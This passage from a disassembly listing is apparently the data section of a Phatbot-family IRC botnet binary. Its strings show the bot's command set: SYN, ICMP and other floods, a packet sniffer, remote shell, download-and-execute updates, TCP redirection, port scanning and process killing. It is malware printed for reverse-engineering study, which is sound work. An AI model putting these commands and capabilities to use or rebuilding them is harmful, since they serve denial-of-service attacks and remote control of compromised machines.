<k>,0 aAll db 'all',0 ; DATA XREF: sub_401CC1+6D8Fo unk_442FDC db 2Dh ; - ; DATA XREF: sub_401CC1+6DA9o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aStoppedDThread db '- Stopped: %d thread(s).',0 align 4 unk_443004 db 2Dh ; - ; DATA XREF: sub_401CC1:loc_408A74o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aNoActiveThread db '- No active threads found.',0 unk_44302C db 2Dh ; - ; DATA XREF: sub_401CC1+6E34o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aKilledThreadS_ db '- Killed thread: %s.',0 align 10h unk_443050 db 2Dh ; - ; DATA XREF: sub_401CC1:loc_408AFCo db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToKillTh db '- Failed to kill thread: %s.',0 align 4 aC_quit db 'c_quit',0 ; DATA XREF: sub_401CC1+3858o align 4 aC_q db 'c_q',0 ; DATA XREF: sub_401CC1+386Fo aQuitLater_0 db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+6D04o align 4 aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_401CC1+3886o align 4 aC_rn db 'c_rn',0 ; DATA XREF: sub_401CC1+389Do align 4 aNickS_5 db 'NICK %s',0 ; DATA XREF: sub_401CC1+6CC4o aS_17 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+6CD9o align 4 aPrefix db 'prefix',0 ; DATA XREF: sub_401CC1+38B4o align 4 aPr db 'pr',0 ; DATA XREF: sub_401CC1+38CBo align 4 unk_4430C8 db 2Dh ; - ; DATA XREF: sub_401CC1+6C82o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPrefixChangedT db 'Prefix changed to: ',27h,'%c',27h,'.',0 align 10h aOpen db 'open',0 ; DATA XREF: sub_401CC1+38E2o align 4 aO: ; DATA XREF: sub_401CC1+38F9o unicode 0, <o>,0 aOpen_1 db 'open',0 ; DATA XREF: sub_401CC1+6C52o align 4 unk_443104 db 2Dh ; - ; DATA XREF: sub_401CC1+6C63o db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFileOpenedS db ' File opened: %s',0 align 4 unk_443124 db 2Dh ; - ; DATA XREF: sub_401CC1:loc_40892Eo db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0 aServer db 'server',0 ; DATA XREF: sub_401CC1+3910o align 10h aSe db 'se',0 ; DATA XREF: sub_401CC1+3927o align 4 unk_443154 db 2Dh ; - ; DATA XREF: sub_401CC1+6C3Ao db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aServerChangedT db 'Server changed to: ',27h,'%s',27h,'.',0 align 4 aDns db 'dns',0 ; DATA XREF: sub_401CC1+393Eo aDn db 'dn',0 ; DATA XREF: sub_401CC1+3955o align 4 unk_443184 db 2Dh ; - ; DATA XREF: sub_401CC1+6BE4o db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aLookupSS_ db '- Lookup: %s -> %s.',0 align 4 unk_4431A4 db 2Dh ; - ; DATA XREF: sub_401CC1+6C17o db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aLookupSS__0 db '- Lookup: %s -> %s.',0 align 4 unk_4431C4 db 2Dh ; - ; DATA XREF: sub_401CC1:loc_4088DFo db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0 align 4 aKillproc db 'killproc',0 ; DATA XREF: sub_401CC1+396Co align 4 aKp db 'kp',0 ; DATA XREF: sub_401CC1+3983o align 4 unk_4431FC db 2Dh ; - ; DATA XREF: sub_401CC1+6BA6o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledS db ' Process killed: %s',0 unk_44321C db 2Dh ; - ; DATA XREF: sub_401CC1:loc_408871o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTermin db ' Failed to terminate process: %s',0 align 4 aKill db 'kill',0 ; DATA XREF: sub_401CC1+399Ao align 4 aKi db 'ki',0 ; DATA XREF: sub_401CC1+39B1o align 4 unk_443258 db 2Dh ; - ; DATA XREF: sub_401CC1+6B49o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledI db ' Process killed ID: %s',0 align 4 unk_44327C db 2Dh ; - ; DATA XREF: sub_401CC1:loc_408811o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTerm_0 db ' Failed to terminate process ID: %s',0 aDelete db 'delete',0 ; DATA XREF: sub_401CC1+39C8o align 4 aDel db 'del',0 ; DATA XREF: sub_401CC1+39DFo dword_4432B8 dd 234032Dh, 656C6966h, 202D0302h, 656C6544h, 20646574h ; DATA XREF: sub_401CC1+6B0Bo dd 27732527h, 2Eh dword_4432D4 dd 234032Dh, 656C6966h, 2D0302h ; DATA XREF: sub_401CC1:loc_4087D3o aList db 'list',0 ; DATA XREF: sub_401CC1+39F6o align 4 aLi db 'li',0 ; DATA XREF: sub_401CC1+3A0Do align 4 dword_4432EC dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah ; DATA XREF: sub_401CC1+6AF5o dd 0 aMirccmd db 'mirccmd',0 ; DATA XREF: sub_401CC1+3A24o aMirc db 'mirc',0 ; DATA XREF: sub_401CC1+3A3Bo align 4 unk_443314 db 2Dh ; - ; DATA XREF: sub_401CC1+6A97o db 3, 34h, 2 db 6Dh ; m db 69h, 72h, 63h db 2 db 3, 2Dh, 20h aClientNotOpen_ db 'Client not open.',0 align 4 dword_443334 dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h ; DATA XREF: sub_401CC1:loc_40875Fo dd 746E6573h, 2Eh dword_443350 dd 646D63h ; DATA XREF: sub_401CC1+3A52o dword_443354 dd 6D63h ; DATA XREF: sub_401CC1+3A69o dword_443358 dd 0Ah ; DATA XREF: sub_401CC1+6A3Ao unk_44335C db 2Dh ; - ; DATA XREF: sub_401CC1+6A52o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aErrorSendingTo db '- Error sending to remote shell.',0 align 4 dword_443388 dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh ; DATA XREF: sub_401CC1+6A60o dd 732520h aReadfile db 'readfile',0 ; DATA XREF: sub_401CC1+3A80o align 4 aRf db 'rf',0 ; DATA XREF: sub_401CC1+3A97o align 10h aR_0: ; DATA XREF: sub_401CC1:loc_408658o unicode 0, <r>,0 unk_4433B4 db 2Dh ; - ; DATA XREF: sub_401CC1+69FEo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReadFileComple db 'Read file complete: %s',0 align 4 unk_4433D8 db 2Dh ; - ; DATA XREF: sub_401CC1+6A12o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReadFileFailed db 'Read file failed: %s',0 align 4 aSniffer db 'sniffer',0 ; DATA XREF: sub_401CC1+3AAEo aOn db 'on',0 ; DATA XREF: sub_401CC1+3AC3o align 4 unk_443408 db 2Dh ; - ; DATA XREF: sub_401CC1+3AE3o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aAlreadyRunni_1 db '- Already running.',0 unk_443428 db 2Dh ; - ; DATA XREF: sub_401CC1+3B47o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aPhatbotPacketS db '- Phatbot packet sniffer active.',0 align 4 unk_443458 db 2Dh ; - ; DATA XREF: sub_401CC1+3BB6o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFailedToStar_9 db '- Failed to start sniffer thread, error: <%d>.',0 aOff_1 db 'off',0 ; DATA XREF: sub_401CC1+3BC1o unk_443498 db 2Dh ; - ; DATA XREF: sub_401CC1+3BE4o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aPhatbotSniffer db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0 unk_4434D8 db 2Dh ; - ; DATA XREF: sub_401CC1:loc_4058AFo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aNoPhatbotSniff db '- No Phatbot sniffer thread found.',0 aIdent db 'ident',0 ; DATA XREF: sub_401CC1+3BFBo align 10h aOn_0 db 'on',0 ; DATA XREF: sub_401CC1+3C10o align 4 dword_443514 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401CC1+3C2Co aAlreadyRunni_2 db '- Already running.',0 align 4 dword_443534 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401CC1+3C3Co aServerRunnin_0 db '- Server running on Port: 113.',0 align 10h dword_443560 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401CC1+3C89o aFailedToSta_10 db '- Failed to start server, error: <%d>.',0 align 4 aOff_2 db 'off',0 ; DATA XREF: sub_401CC1+3C94o dword_443598 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401CC1+3CB7o aServerStopped_ db '- Server stopped. (%d thread(s) stopped.)',0 align 10h dword_4435D0 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401CC1:loc_405982o aNoThreadFound_ db '- No thread found.',0 align 10h aNet_0 db 'net',0 ; DATA XREF: sub_401CC1+3CCEo aStart db 'start',0 ; DATA XREF: sub_401CC1+3D25o align 4 aS_1 db '%s',0 ; DATA XREF: sub_401CC1+3D45o align 10h unk_443600 db 2Dh ; - ; DATA XREF: sub_401CC1+3D76o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListCom db '- Service list completed.',0 align 4 unk_443624 db 2Dh ; - ; DATA XREF: sub_401CC1:loc_405A41o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aServiceListFai db '- Service list failed.',0 aStop db 'stop',0 ; DATA XREF: sub_401CC1+3D8Bo align 4 aS_2 db '%s',0 ; DATA XREF: sub_401CC1+3DA6o align 10h aPause db 'pause',0 ; DATA XREF: sub_401CC1+3DAEo align 4 aS_3 db '%s',0 ; DATA XREF: sub_401CC1+3DC9o align 4 aContinue db 'continue',0 ; DATA XREF: sub_401CC1+3DD4o align 4 aS_4 db '%s',0 ; DATA XREF: sub_401CC1+3DEFo align 4 aDelete_0 db 'delete',0 ; DATA XREF: sub_401CC1+3DFAo align 4 aS_5 db '%s',0 ; DATA XREF: sub_401CC1+3E15o align 4 aShare db 'share',0 ; DATA XREF: sub_401CC1+3E20o align 10h aS_6 db '%s',0 ; DATA XREF: sub_401CC1+3E49o align 4 aS_7 db '%s',0 ; DATA XREF: sub_401CC1+3E61o align 4 unk_443688 db 2Dh ; - ; DATA XREF: sub_401CC1+3E93o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListCompl db '- Share list completed.',0 align 4 unk_4436AC db 2Dh ; - ; DATA XREF: sub_401CC1:loc_405B5Eo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aShareListFaile db '- Share list failed.',0 align 4 aUser db 'user',0 ; DATA XREF: sub_401CC1+3EA8o align 4 aS_8 db '%s',0 ; DATA XREF: sub_401CC1+3EE1o align 4 aS_9 db '%s',0 ; DATA XREF: sub_401CC1+3F08o align 4 aS_10 db '%s',0 ; DATA XREF: sub_401CC1+3F19o align 10h unk_4436E0 db 2Dh ; - ; DATA XREF: sub_401CC1+3F4Bo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListComple db '- User list completed.',0 unk_443700 db 2Dh ; - ; DATA XREF: sub_401CC1:loc_405C16o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aUserListFailed db '- User list failed.',0 align 10h aSend db 'send',0 ; DATA XREF: sub_401CC1+3F60o align 4 aS_11 db '%s',0 ; DATA XREF: sub_401CC1+3F90o align 4 unk_44372C db 2Dh ; - ; DATA XREF: sub_401CC1:loc_405C64o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aNoMessageSpeci db '- No message specified.',0 align 10h unk_443750 db 2Dh ; - ; DATA XREF: sub_401CC1:loc_405C6Eo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aCommandUnknown db '- Command unknown.',0 unk_44376C db 2Dh ; - ; DATA XREF: sub_401CC1+3CF2o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 2 db 3 aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0 aGethost db 'gethost',0 ; DATA XREF: sub_401CC1+3FBAo aGh db 'gh',0 ; DATA XREF: sub_401CC1+3FD1o align 10h aSSSS_1 db '%s %s %s :%s',0 ; DATA XREF: sub_401CC1+68FBo align 10h unk_4437C0 db 2Dh ; - ; DATA XREF: sub_401CC1+6922o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aGethostSComman db 'Gethost: %s, Command: %s',0 align 4 unk_4437E8 db 2Dh ; - ; DATA XREF: sub_401CC1+693Eo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUnableToExtrac db 'Unable to extract Gethost command.',0 align 4 dword_443818 dd 234032Dh, 6E69616Dh, 202D0302h, 68746547h, 3A74736Fh ; DATA XREF: sub_401CC1+6979o dd 2E732520h, 0 aKilllog db 'killlog',0 ; DATA XREF: sub_401CC1+3FFAo aKl db 'kl',0 ; DATA XREF: sub_401CC1+4011o align 10h aAddalias db 'addalias',0 ; DATA XREF: sub_401CC1+4028o align 4 aAa db 'aa',0 ; DATA XREF: sub_401CC1+403Fo align 10h unk_443850 db 2Dh ; - ; DATA XREF: sub_401CC1+6886o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aAliasAddedS_ db 'Alias added: %s.',0 align 10h aPrivmsg_1 db 'privmsg',0 ; DATA XREF: sub_401CC1+4056o aPm db 'pm',0 ; DATA XREF: sub_401CC1+406Do align 4 unk_44387C db 2Dh ; - ; DATA XREF: sub_401CC1+6848o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPrivmsgSS_ db 'Privmsg: %s: %s.',0 align 4 aAction db 'action',0 ; DATA XREF: sub_401CC1+4084o align 4 aA: ; DATA XREF: sub_401CC1+409Bo unicode 0, <a>,0 dword_4438A8 dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_401CC1+67D3o unk_4438B4 db 2Dh ; - ; DATA XREF: sub_401CC1+67F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aActionSS_ db 'Action: %s: %s.',0 aCycle db 'cycle',0 ; DATA XREF: sub_401CC1+40B2o align 4 aCy db 'cy',0 ; DATA XREF: sub_401CC1+40C9o align 4 a332_2 db '332',0 ; DATA XREF: sub_401CC1+6736o aPartS_1 db 'PART %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+674Do align 4 aJoinSS_2 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+677Ao align 4 dword_4438FC dd 234032Dh, 6E69616Dh, 202D0302h, 6C637943h, 2E65h ; DATA XREF: sub_401CC1+6787o aMode_0 db 'mode',0 ; DATA XREF: sub_401CC1+40E0o align 4 aM: ; DATA XREF: sub_401CC1+40F7o unicode 0, <m>,0 aModeS_0 db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+6713o align 4 unk_443928 db 2Dh ; - ; DATA XREF: sub_401CC1+6721o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aModeChangeS db 'Mode change: %s',0 aC_raw db 'c_raw',0 ; DATA XREF: sub_401CC1+410Eo align 4 aC_r db 'c_r',0 ; DATA XREF: sub_401CC1+4125o aS_16 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+66CBo align 4 dword_443958 dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h ; DATA XREF: sub_401CC1+66EAo dd 25203A29h, 73h aC_mode db 'c_mode',0 ; DATA XREF: sub_401CC1+413Co align 4 aC_m db 'c_m',0 ; DATA XREF: sub_401CC1+4153o aModeS db 'MODE %s',0 ; DATA XREF: sub_401CC1+662Ao aS_15 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+6660o align 10h dword_443990 dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h ; DATA XREF: sub_401CC1+667Fo dd 203A2973h, 7325h aC_nick db 'c_nick',0 ; DATA XREF: sub_401CC1+416Ao align 4 aC_n db 'c_n',0 ; DATA XREF: sub_401CC1+4181o aNickS_4 db 'NICK %s',0 ; DATA XREF: sub_401CC1+65A2o aS_14 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+65D7o align 4 dword_4439C8 dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh ; DATA XREF: sub_401CC1+65F8o dd 203A2973h, 7325h aC_join db 'c_join',0 ; DATA XREF: sub_401CC1+4198o align 4 aC_j db 'c_j',0 ; DATA XREF: sub_401CC1+41AFo aJoinSS_1 db 'JOIN %s %s',0 ; DATA XREF: sub_401CC1+655Do align 4 aS_13 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+6592o align 4 aC_part db 'c_part',0 ; DATA XREF: sub_401CC1+41C6o align 4 aC_p db 'c_p',0 ; DATA XREF: sub_401CC1+41DDo aPartS_0 db 'PART %s',0 ; DATA XREF: sub_401CC1+64F6o aS_12 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+652Bo align 10h aTarga3 db 'targa3',0 ; DATA XREF: sub_401CC1+41F4o align 4 aT3 db 't3',0 ; DATA XREF: sub_401CC1+420Bo align 4 dword_443A2C dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401CC1+646Eo aFloodingSForSS db '- Flooding %s for %s seconds.',0 align 4 dword_443A58 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401CC1+64E3o aFailedToStartF db '- Failed to start flood thread, error: <%d>.',0 align 4 aTsunami db 'tsunami',0 ; DATA XREF: sub_401CC1+4222o aTsn db 'tsn',0 ; DATA XREF: sub_401CC1+4239o unk_443AA0 db 2Dh ; - ; DATA XREF: sub_401CC1+6376o db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aTsunamiHeading db '- Tsunami heading for %s (%s seconds).',0 unk_443AD4 db 2Dh ; - ; DATA XREF: sub_401CC1+63E7o db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aFailedToSta_11 db '- Failed to start flood thread, error: <%d>.',0 align 10h aRepeat db 'repeat',0 ; DATA XREF: sub_401CC1+4250o align 4 aRp db 'rp',0 ; DATA XREF: sub_401CC1+4267o align 4 a332_1 db '332',0 ; DATA XREF: sub_401CC1+6254o aRepeat_0 db 'repeat',0 ; DATA XREF: sub_401CC1+6282o align 4 aSSSS_0 db '%s %s %s :%s',0 ; DATA XREF: sub_401CC1+62ADo align 4 dword_443B38 dd 234032Dh, 6E69616Dh, 202D0302h, 65706552h, 203A7461h ; DATA XREF: sub_401CC1+62D3o dd 7325h unk_443B50 db 2Dh ; - ; DATA XREF: sub_401CC1+6310o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRepeatNotAllow db 'Repeat not allowed in command line: %s',0 align 4 aDelay db 'delay',0 ; DATA XREF: sub_401CC1+427Eo align 4 aDe db 'de',0 ; DATA XREF: sub_401CC1+4295o align 10h a332_0 db '332',0 ; DATA XREF: sub_401CC1+61B9o aSSSS db '%s %s %s :%s',0 ; DATA XREF: sub_401CC1+61FAo align 4 dword_443BA4 dd 234032Dh, 6E69616Dh, 202D0302h, 616C6544h, 2E79h ; DATA XREF: sub_401CC1:loc_407EFBo aUpdate db 'update',0 ; DATA XREF: sub_401CC1+42ACo align 10h aU11p db 'u11p',0 ; DATA XREF: sub_401CC1+42C3o align 4 aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_401CC1+607Fo align 4 dword_443BD4 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401CC1+6122o aDownloadingUpd db '- Downloading update from: %s.',0 align 10h dword_443C00 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401CC1+6191o aFailedToStartD db '- Failed to start download thread, error: <%d>.',0 dword_443C3C dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401CC1:loc_407E5Co aBotIdMustBeDif db '- Bot ID must be different than current running process.',0 align 4 aExecute db 'execute',0 ; DATA XREF: sub_401CC1+42DAo aE: ; DATA XREF: sub_401CC1+42F1o unicode 0, <e>,0 unk_443C90 db 2Dh ; - ; DATA XREF: sub_401CC1+6015o db 3, 34h, 2 db 65h ; e db 78h, 65h, 63h db 2 db 3, 2Dh, 20h aCouldnTExecute db 'Couldn',27h,'t execute file.',0 align 4 dword_443CB4 dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h ; DATA XREF: sub_401CC1+6020o dd 7325203Ah, 0 aRename db 'rename',0 ; DATA XREF: sub_401CC1+4308o align 4 aMv db 'mv',0 ; DATA XREF: sub_401CC1+431Fo align 4 unk_443CDC db 2Dh ; - ; DATA XREF: sub_401CC1+5F3Ao db 3, 34h, 2 db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 align 10h dword_443D00 dd 234032Dh, 656C6966h, 2D0302h ; DATA XREF: sub_401CC1:loc_407C10o aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_401CC1+4336o align 4 aIcmp db 'icmp',0 ; DATA XREF: sub_401CC1+434Do align 10h unk_443D20 db 2Dh ; - ; DATA XREF: sub_401CC1+5E98o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFloodingSFor_0 db 'Flooding: (%s) for %s seconds.',0 align 4 unk_443D4C db 2Dh ; - ; DATA XREF: sub_401CC1+5F0Eo db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFailedToSta_12 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_443D84 db 2Dh ; - ; DATA XREF: sub_401CC1:loc_407BD9o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aInvalidFloodTi db 'Invalid flood time must be greater than 0.',0 align 4 aClone_0 db 'clone',0 ; DATA XREF: sub_401CC1+4376o align 4 aC: ; DATA XREF: sub_401CC1+438Do unicode 0, <c>,0 dword_443DC8 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401CC1+5DB2o aCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0 align 4 dword_443DF8 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401CC1+5E21o aFailedToStartC db '- Failed to start clone thread, error: <%d>.',0 align 4 aUsa_syn db 'usa.syn',0 ; DATA XREF: sub_401CC1+43A4o aUsa_ack db 'usa.ack',0 ; DATA XREF: sub_401CC1+43BBo aUsa_rm db 'usa.rm',0 ; DATA XREF: sub_401CC1+43D2o align 4 unk_443E4C db 2Dh ; - ; DATA XREF: sub_401CC1+5CC1o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFloodingSSForS db 'Flooding: (%s:%s) for %s seconds.',0 align 4 unk_443E7C db 2Dh ; - ; DATA XREF: sub_401CC1+5D39o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFailedToSta_13 db 'Failed to start flood thread, error: <%d>.',0 align 4 aWis_u db 'wis.u',0 ; DATA XREF: sub_401CC1+43E9o align 4 unk_443EBC db 2Dh ; - ; DATA XREF: sub_401CC1+44C0o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aFailedToSta_14 db '- Failed to start flood thread, error: <%d>.',0 align 4 aSfnfff db 'sfnfff',0 ; DATA XREF: sub_401CC1+44CDo align 4 aSy1 db 'sy1',0 ; DATA XREF: sub_401CC1+44E4o unk_443F08 db 2Dh ; - ; DATA XREF: sub_401CC1+5BC8o db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFloodingSSFo_0 db '- Flooding: (%s:%s) for %s seconds.',0 align 4 unk_443F38 db 2Dh ; - ; DATA XREF: sub_401CC1+5C40o db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFailedToSta_15 db '- Failed to start flood thread, error: <%d>.',0 align 10h aSkysyn db 'skysyn',0 ; DATA XREF: sub_401CC1+44FBo align 4 dword_443F78 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401CC1+4575o aFloodingSSFo_1 db '- Flooding: (%s:%s) for %s seconds.',0 dword_443FA8 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401CC1+45EDo aFailedToSta_16 db '- Failed to start flood thread, error: <%d>.',0 align 4 aPhatwonk db 'phatwonk',0 ; DATA XREF: sub_401CC1+45FAo align 10h aWonk db 'wonk',0 ; DATA XREF: sub_401CC1+4611o align 4 unk_443FF8 db 2Dh ; - ; DATA XREF: sub_401CC1+5AE0o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFloodingSFor_1 db 'Flooding %s for %s seconds using delay %s ms.',0 align 4 unk_444034 db 2Dh ; - ; DATA XREF: sub_401CC1+5B58o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFailedToSta_17 db 'Failed to start flood thread, error: <%d>.',0 align 4 aDownload1 db 'download1',0 ; DATA XREF: sub_401CC1+4628o align 4 aD1 db 'd1',0 ; DATA XREF: sub_401CC1+463Fo align 4 unk_44407C db 2Dh ; - ; DATA XREF: sub_401CC1+5A01o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadingUrl db 'Downloading URL: %s to: %s.',0 unk_4440A8 db 2Dh ; - ; DATA XREF: sub_401CC1+5A70o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aFailedToStartT db 'Failed to start transfer thread, error: <%d>.',0 align 4 aRedirect db 'redirect',0 ; DATA XREF: sub_401CC1+4656o align 4 aRd db 'rd',0 ; DATA XREF: sub_401CC1+466Do align 4 unk_4440F8 db 2Dh ; - ; DATA XREF: sub_401CC1+58C6o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0 unk_444134 db 2Dh ; - ; DATA XREF: sub_401CC1+5935o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0 align 4 aScan db 'scan',0 ; DATA XREF: sub_401CC1+4684o align 10h aSc db 'sc',0 ; DATA XREF: sub_401CC1+469Bo align 4 unk_444184 db 2Dh ; - ; DATA XREF: sub_401CC1+57CCo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStarte db 'Port scan started: %s:%d with delay: %d(ms).',0 align 10h unk_4441C0 db 2Dh ; - ; DATA XREF: sub_401CC1+583Bo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToSta_18 db 'Failed to start scan thread, error: <%d>.',0 align 4 aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_401CC1+46B2o align 4 aC_pm db 'c_pm',0 ; DATA XREF: sub_401CC1+46C9o align 4 aSSS db '[%s] <%s> %s',0 ; DATA XREF: sub_401CC1+5748o align 4 aC_action db 'c_action',0 ; DATA XREF: sub_401CC1+46E0o align 4 aC_a db 'c_a',0 ; DATA XREF: sub_401CC1+46F7o dword_44422C dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_401CC1+55C0o dword_444238 dd 5D73255Bh, 25202A20h, 73252073h, 0 ; DATA XREF: sub_401CC1+564Eo aPortscan db 'portscan',0 ; DATA XREF: sub_401CC1+471Do align 4 aPsc db 'psc',0 ; DATA XREF: sub_401CC1+4734o unk_444258 db 2Dh ; - ; DATA XREF: sub_401CC1+54F2o db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStar_0 db 'Port scan started: %s with delay: %d(ms) checking range 